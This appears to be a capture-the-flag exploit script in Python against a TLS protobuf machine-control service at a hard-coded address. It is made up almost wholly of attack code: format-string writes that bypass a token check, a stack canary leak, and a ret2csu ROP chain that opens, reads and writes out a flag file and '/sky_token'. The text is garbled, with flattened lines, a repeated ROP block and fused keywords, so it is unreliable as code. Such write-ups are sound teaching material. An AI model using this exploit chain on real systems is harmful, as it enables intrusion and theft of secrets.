# send to server req = protocol_pb2.PakReqControl() req.cmd = cmd req.token = b'\x09' b = req.SerializeToString() writeto(ssock, ReqControl, b) # Machine Control: write 1: 0x40976B #return
ret = os.read(fd, 0x7f) print(b'readed: ' + ret) ret = os.read(fd, 0x7f) print(b'readed: ' + ret)
# use scu rop to open read write ./flag scu_init = 0x5AB3BA scu_call = 0x5AB3A0
# extend more read p = b'\x11' * 8# new statck p += p64(scu_init) p += p64(0) # rbx p += p64(1) # rbp p += p64(5) # r12 -> edi p += p64(new_stack + 0x40) # r13 -> rsi p += p64(0x300) # r14 -> rdx p += p64(elf.got['read']) # r15 -> to call [r15] p += p64(scu_call) #sleep(0.5) p = p.ljust(0x7f, b'\x12')
ret = os.write(fd, p)
#sleep(0.5)
# open p = p64(scu_init) p += p64(0) # rbx p += p64(1) # rbp p += p64(new_stack + 0x40 + 0xc0) # r12 -> edi, flag addr p += p64(0) # r13 -> rsi p += p64(0) # r14 -> rdx p += p64(elf.got['open']) # r15 -> to call [r15] p += p64(scu_call)
# read p += p64(0) # fill p += p64(0) # rbx p += p64(1) # rbp p += p64(6) # r12 -> edi p += p64(new_stack + 0x200) # r13 -> rsi p += p64(0x80) # r14 -> rdx p += p64(elf.got['read']) # r15 -> to call [r15] p += p64(scu_call)
# write p += p64(0) # fill p += p64(0) # rbx p += p64(1) # rbp p += p64(5) # r12 -> edi p += p64(new_stack + 0x200) # r13 -> rsi p += p64(0x80) # r14 -> rdx p += p64(elf.got['write']) # r15 -> to call [r15] p += p64(scu_call)
p = b'ABCD%35$ln' p = p.ljust(16, b'\x11') p += p64(elf.sym['tokens'] + (8 * uid)) # is 9 ret = login(ssock, p, b'\x00')
p = b'ABCD%35$hhn' p = p.ljust(16, b'\x11') p += p64(elf.sym['tokens_status'] +uid) # is 9 ret = login(ssock, p, b'\x00') print("By passed token check") # now can bypassed token check # token is: 09 00 00 00 00 00 00 00 # test is bypass ? # ret = control(ssock, b'show', b'\x09') # print(ret)
# Now leak cannary by StartMeshine or StopMeshine operation cmd = b'start-' cmd += b'B' * (32 - 11) cmd += p8(8) # string length cmd += p8(5) # socket cmd += p8(1) # i cmd += p8(80) # op string len, used by leak cannary
# send by ssock req = protocol_pb2.PakReqControl() req.cmd = cmd req.token = b'\x09' b = req.SerializeToString() writeto(ssock, ReqControl, b)
print(fd) print('leak cannary') ret = os.read(fd, 8) print(ret) ret = os.read(fd, 80) print(ret) cannary = ret[7:15] cannary = u64(cannary) print('cannary: ' + hex(cannary)) ret = ssock.recv(1024) print(ret)
# now we make a simple stack rop cmd = b'start-' cmd += b'A' * (32 - 11) cmd += p8(0x7f) # string length cmd += p8(5) # socket cmd += p8(1) # i cmd += p8(0x7f) # op string len, used by leak cannary cmd = cmd.ljust(0x2B - 8 + 6, b'\x00') cmd += p64(cannary)
# send to server req = protocol_pb2.PakReqControl() req.cmd = cmd req.token = b'\x09' b = req.SerializeToString() writeto(ssock, ReqControl, b) # Machine Control: write 1: 0x40976B #return
ret = os.read(fd, 0x7f) print(b'readed: ' + ret) ret = os.read(fd, 0x7f) print(b'readed: ' + ret)
# use scu rop to open read write ./flag scu_init = 0x5AB3BA scu_call = 0x5AB3A0
# extend more read p = b'\x11' * 8# new statck p += p64(scu_init) p += p64(0) # rbx p += p64(1) # rbp p += p64(5) # r12 -> edi p += p64(new_stack + 0x40) # r13 -> rsi p += p64(0x300) # r14 -> rdx p += p64(elf.got['read']) # r15 -> to call [r15] p += p64(scu_call) #sleep(0.5) p = p.ljust(0x7f, b'\x12') ret = os.write(fd, p) #sleep(0.5) # open p = p64(scu_init) p += p64(0) # rbx p += p64(1) # rbp p += p64(new_stack + 0x40 + 0xc0) # r12 -> edi, flag addr p += p64(0) # r13 -> rsi p += p64(0) # r14 -> rdx p += p64(elf.got['open']) # r15 -> to call [r15] p += p64(scu_call) # read p += p64(0) # fill p += p64(0) # rbx p += p64(1) # rbp p += p64(6) # r12 -> edi p += p64(new_stack + 0x200) # r13 -> rsi p += p64(0x80) # r14 -> rdx p += p64(elf.got['read']) # r15 -> to call [r15] p += p64(scu_call)
# write p += p64(0) # fill p += p64(0) # rbx p += p64(1) # rbp p += p64(5) # r12 -> edi p += p64(new_stack + 0x200) # r13 -> rsi p += p64(0x80) # r14 -> rdx p += p64(elf.got['write']) # r15 -> to call [r15] p += p64(scu_call)
print("scu rop length: " + hex(len(p))) p += b'/sky_token\x00' ret = os.write(fd, p)
ret = os.read(fd, 0x80) print(b'recv: ' + ret)
ret = os.read(fd, 0x80)
print(b'sky token: ' + ret)
interactive(fd) #ret = os.read(fd, 0x1000) definteractive(fd): print('interactive') whileTrue: ret = os.read(fd, 1024) l = os.write(1, ret) print("wait input:") d = input('') + '\n' os.write(fd, d.encode())
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.load_verify_locations('./ca.crt') context.load_cert_chain('./client.crt', './client_rsa_private.pem.unsecure') context.check_hostname = False with socket.create_connection(('1.14.123.62', 15052)) as sock: #with socket.create_connection(('127.0.0.1', 15052)) as sock: fd = sock.fileno() with context.wrap_socket(sock, server_hostname='hack') as ssock: hack(fd, ssock)